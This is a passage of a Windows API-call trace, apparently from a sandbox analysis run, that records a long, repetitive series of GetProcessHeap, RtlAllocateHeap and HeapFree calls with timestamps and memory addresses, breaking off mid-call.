GetProcessHeap () returned 0x540000 [0063.598] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646b8 | out: hHeap=0x540000) returned 1 [0063.598] GetProcessHeap () returned 0x540000 [0063.598] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x32646b8 [0063.598] GetProcessHeap () returned 0x540000 [0063.598] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3264608 | out: hHeap=0x540000) returned 1 [0063.598] GetProcessHeap () returned 0x540000 [0063.598] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x3264608 [0063.598] GetProcessHeap () returned 0x540000 [0063.598] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646b8 | out: hHeap=0x540000) returned 1 [0063.598] GetProcessHeap () returned 0x540000 [0063.598] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x32646b8 [0063.598] GetProcessHeap () returned 0x540000 [0063.598] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3264608 | out: hHeap=0x540000) returned 1 [0063.598] GetProcessHeap () returned 0x540000 [0063.598] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x3264608 [0063.598] GetProcessHeap () returned 0x540000 [0063.598] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32646b8 | out: hHeap=0x540000) returned 1 [0063.598] GetProcessHeap () returned 0x540000 [0063.598] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc) returned 0x32c3818 [0063.598] GetProcessHeap () returned 0x540000 [0063.598] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3264608 | out: hHeap=0x540000) returned 1 [0063.598] GetProcessHeap () returned 0x540000 [0063.598] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x10) returned 0x32c3800 [0063.598] GetProcessHeap () returned 0x540000 [0063.598] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32c3818 | out: hHeap=0x540000) returned 1 [0063.598] GetProcessHeap () returned 0x540000 [0063.598] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x14) returned 0x59faa0 [0063.598] GetProcessHeap () returned 0x540000 [0063.598] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32c3800 | out: hHeap=0x540000) returned 1 [0063.598] GetProcessHeap () returned 0x540000 [0063.599] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x32bfb20 [0063.599] GetProcessHeap () returned 0x540000 [0063.599] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59faa0 | out: hHeap=0x540000) returned 1 [0063.599] GetProcessHeap () returned 0x540000 [0063.599] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x38) returned 0x575010 [0063.599] GetProcessHeap () returned 0x540000 [0063.599] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32bfb20 | out: hHeap=0x540000) returned 1 [0063.599] GetProcessHeap () returned 0x540000 [0063.599] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3c) returned 0x32c9e90 [0063.599] GetProcessHeap () returned 0x540000 [0063.599] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x575010 | out: hHeap=0x540000) returned 1 [0063.599] GetProcessHeap () returned 0x540000 [0063.599] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x32bfdd8 [0063.599] GetProcessHeap () returned 0x540000 [0063.599] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32c9e90 | out: hHeap=0x540000) returned 1 [0063.599] GetProcessHeap () returned 0x540000 [0063.599] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd8) returned 0x633500 [0063.599] GetProcessHeap () returned 0x540000 [0063.599] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32bfdd8 | out: hHeap=0x540000) returned 1 [0063.599] GetProcessHeap () returned 0x540000 [0063.599] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xdc) returned 0x32f0d10 [0063.599] GetProcessHeap () returned 0x540000 [0063.599] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x633500 | out: hHeap=0x540000) returned 1 [0063.599] GetProcessHeap () returned 0x540000 [0063.599] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.599] GetProcessHeap () returned 0x540000 [0063.599] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f0d10 | out: hHeap=0x540000) returned 1 [0063.599] GetProcessHeap () returned 0x540000 [0063.599] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.599] GetProcessHeap () returned 0x540000 [0063.599] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.599] GetProcessHeap () returned 0x540000 [0063.599] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.599] GetProcessHeap () returned 0x540000 [0063.600] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.600] GetProcessHeap () returned 0x540000 [0063.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.600] GetProcessHeap () returned 0x540000 [0063.600] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.600] GetProcessHeap () returned 0x540000 [0063.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.600] GetProcessHeap () returned 0x540000 [0063.600] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.600] GetProcessHeap () returned 0x540000 [0063.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.600] GetProcessHeap () returned 0x540000 [0063.600] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.600] GetProcessHeap () returned 0x540000 [0063.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.600] GetProcessHeap () returned 0x540000 [0063.600] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.600] GetProcessHeap () returned 0x540000 [0063.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.600] GetProcessHeap () returned 0x540000 [0063.600] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.600] GetProcessHeap () returned 0x540000 [0063.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.600] GetProcessHeap () returned 0x540000 [0063.600] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.600] GetProcessHeap () returned 0x540000 [0063.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.600] GetProcessHeap () returned 0x540000 [0063.600] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.600] GetProcessHeap () returned 0x540000 [0063.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.600] GetProcessHeap () returned 0x540000 [0063.600] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.600] GetProcessHeap () returned 0x540000 [0063.600] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.601] GetProcessHeap () returned 0x540000 [0063.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.601] GetProcessHeap () returned 0x540000 [0063.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.601] GetProcessHeap () returned 0x540000 [0063.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.601] GetProcessHeap () returned 0x540000 [0063.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.601] GetProcessHeap () returned 0x540000 [0063.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.601] GetProcessHeap () returned 0x540000 [0063.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.601] GetProcessHeap () returned 0x540000 [0063.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.601] GetProcessHeap () returned 0x540000 [0063.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.601] GetProcessHeap () returned 0x540000 [0063.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.601] GetProcessHeap () returned 0x540000 [0063.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.601] GetProcessHeap () returned 0x540000 [0063.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.601] GetProcessHeap () returned 0x540000 [0063.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.601] GetProcessHeap () returned 0x540000 [0063.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.601] GetProcessHeap () returned 0x540000 [0063.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.601] GetProcessHeap () returned 0x540000 [0063.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.601] GetProcessHeap () returned 0x540000 [0063.601] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.601] GetProcessHeap () returned 0x540000 [0063.601] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.601] GetProcessHeap () returned 0x540000 [0063.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.602] GetProcessHeap () returned 0x540000 [0063.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.602] GetProcessHeap () returned 0x540000 [0063.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.602] GetProcessHeap () returned 0x540000 [0063.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.602] GetProcessHeap () returned 0x540000 [0063.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.602] GetProcessHeap () returned 0x540000 [0063.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.602] GetProcessHeap () returned 0x540000 [0063.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.602] GetProcessHeap () returned 0x540000 [0063.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.602] GetProcessHeap () returned 0x540000 [0063.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.602] GetProcessHeap () returned 0x540000 [0063.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.602] GetProcessHeap () returned 0x540000 [0063.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.602] GetProcessHeap () returned 0x540000 [0063.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.602] GetProcessHeap () returned 0x540000 [0063.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.602] GetProcessHeap () returned 0x540000 [0063.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.602] GetProcessHeap () returned 0x540000 [0063.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.602] GetProcessHeap () returned 0x540000 [0063.602] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.602] GetProcessHeap () returned 0x540000 [0063.602] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.602] GetProcessHeap () returned 0x540000 [0063.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.603] GetProcessHeap () returned 0x540000 [0063.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.603] GetProcessHeap () returned 0x540000 [0063.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.603] GetProcessHeap () returned 0x540000 [0063.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.603] GetProcessHeap () returned 0x540000 [0063.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.603] GetProcessHeap () returned 0x540000 [0063.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.603] GetProcessHeap () returned 0x540000 [0063.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.603] GetProcessHeap () returned 0x540000 [0063.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.603] GetProcessHeap () returned 0x540000 [0063.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.603] GetProcessHeap () returned 0x540000 [0063.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.603] GetProcessHeap () returned 0x540000 [0063.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.603] GetProcessHeap () returned 0x540000 [0063.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.603] GetProcessHeap () returned 0x540000 [0063.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.603] GetProcessHeap () returned 0x540000 [0063.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.603] GetProcessHeap () returned 0x540000 [0063.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.603] GetProcessHeap () returned 0x540000 [0063.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.603] GetProcessHeap () returned 0x540000 [0063.603] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.603] GetProcessHeap () returned 0x540000 [0063.603] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.604] GetProcessHeap () returned 0x540000 [0063.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.604] GetProcessHeap () returned 0x540000 [0063.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.604] GetProcessHeap () returned 0x540000 [0063.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.604] GetProcessHeap () returned 0x540000 [0063.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.604] GetProcessHeap () returned 0x540000 [0063.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.604] GetProcessHeap () returned 0x540000 [0063.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.604] GetProcessHeap () returned 0x540000 [0063.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.604] GetProcessHeap () returned 0x540000 [0063.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.604] GetProcessHeap () returned 0x540000 [0063.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.604] GetProcessHeap () returned 0x540000 [0063.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.604] GetProcessHeap () returned 0x540000 [0063.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.604] GetProcessHeap () returned 0x540000 [0063.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.604] GetProcessHeap () returned 0x540000 [0063.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.604] GetProcessHeap () returned 0x540000 [0063.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.604] GetProcessHeap () returned 0x540000 [0063.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.604] GetProcessHeap () returned 0x540000 [0063.604] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.604] GetProcessHeap () returned 0x540000 [0063.604] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.604] GetProcessHeap () returned 0x540000 [0063.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.605] GetProcessHeap () returned 0x540000 [0063.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.605] GetProcessHeap () returned 0x540000 [0063.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.605] GetProcessHeap () returned 0x540000 [0063.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.605] GetProcessHeap () returned 0x540000 [0063.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.605] GetProcessHeap () returned 0x540000 [0063.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.605] GetProcessHeap () returned 0x540000 [0063.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.605] GetProcessHeap () returned 0x540000 [0063.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.605] GetProcessHeap () returned 0x540000 [0063.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.605] GetProcessHeap () returned 0x540000 [0063.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.605] GetProcessHeap () returned 0x540000 [0063.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.605] GetProcessHeap () returned 0x540000 [0063.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.605] GetProcessHeap () returned 0x540000 [0063.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.605] GetProcessHeap () returned 0x540000 [0063.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.605] GetProcessHeap () returned 0x540000 [0063.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.605] GetProcessHeap () returned 0x540000 [0063.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.605] GetProcessHeap () returned 0x540000 [0063.605] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.605] GetProcessHeap () returned 0x540000 [0063.605] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.606] GetProcessHeap () returned 0x540000 [0063.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.606] GetProcessHeap () returned 0x540000 [0063.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.606] GetProcessHeap () returned 0x540000 [0063.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.606] GetProcessHeap () returned 0x540000 [0063.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.606] GetProcessHeap () returned 0x540000 [0063.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.606] GetProcessHeap () returned 0x540000 [0063.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.606] GetProcessHeap () returned 0x540000 [0063.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.606] GetProcessHeap () returned 0x540000 [0063.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.606] GetProcessHeap () returned 0x540000 [0063.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.606] GetProcessHeap () returned 0x540000 [0063.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.606] GetProcessHeap () returned 0x540000 [0063.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.606] GetProcessHeap () returned 0x540000 [0063.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.606] GetProcessHeap () returned 0x540000 [0063.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.606] GetProcessHeap () returned 0x540000 [0063.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.606] GetProcessHeap () returned 0x540000 [0063.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.606] GetProcessHeap () returned 0x540000 [0063.606] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.606] GetProcessHeap () returned 0x540000 [0063.606] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.606] GetProcessHeap () returned 0x540000 [0063.607] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.607] GetProcessHeap () returned 0x540000 [0063.607] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.607] GetProcessHeap () returned 0x540000 [0063.607] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.607] GetProcessHeap () returned 0x540000 [0063.607] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.607] GetProcessHeap () returned 0x540000 [0063.607] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.607] GetProcessHeap () returned 0x540000 [0063.607] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.607] GetProcessHeap () returned 0x540000 [0063.607] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.607] GetProcessHeap () returned 0x540000 [0063.607] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.607] GetProcessHeap () returned 0x540000 [0063.607] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.607] GetProcessHeap () returned 0x540000 [0063.607] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x104) returned 0x329bc20 [0063.607] GetProcessHeap () returned 0x540000 [0063.607] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.607] GetProcessHeap () returned 0x540000 [0063.607] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.607] GetProcessHeap () returned 0x540000 [0063.607] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x329bc20 | out: hHeap=0x540000) returned 1 [0063.607] GetProcessHeap () returned 0x540000 [0063.607] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.607] GetProcessHeap () returned 0x540000 [0063.607] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.607] GetProcessHeap () returned 0x540000 [0063.607] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.607] GetProcessHeap () returned 0x540000 [0063.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.608] GetProcessHeap () returned 0x540000 [0063.608] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.608] GetProcessHeap () returned 0x540000 [0063.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.608] GetProcessHeap () returned 0x540000 [0063.608] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.608] GetProcessHeap () returned 0x540000 [0063.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.608] GetProcessHeap () returned 0x540000 [0063.608] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.608] GetProcessHeap () returned 0x540000 [0063.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.608] GetProcessHeap () returned 0x540000 [0063.608] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6d10 [0063.608] GetProcessHeap () returned 0x540000 [0063.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6e18 | out: hHeap=0x540000) returned 1 [0063.608] GetProcessHeap () returned 0x540000 [0063.608] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x32f6e18 [0063.608] GetProcessHeap () returned 0x540000 [0063.608] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x32f6d10 | out: hHeap=0x540000) returned 1 [0063.608] GetProcessHeap () returned 0x540000 [0063.608] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, 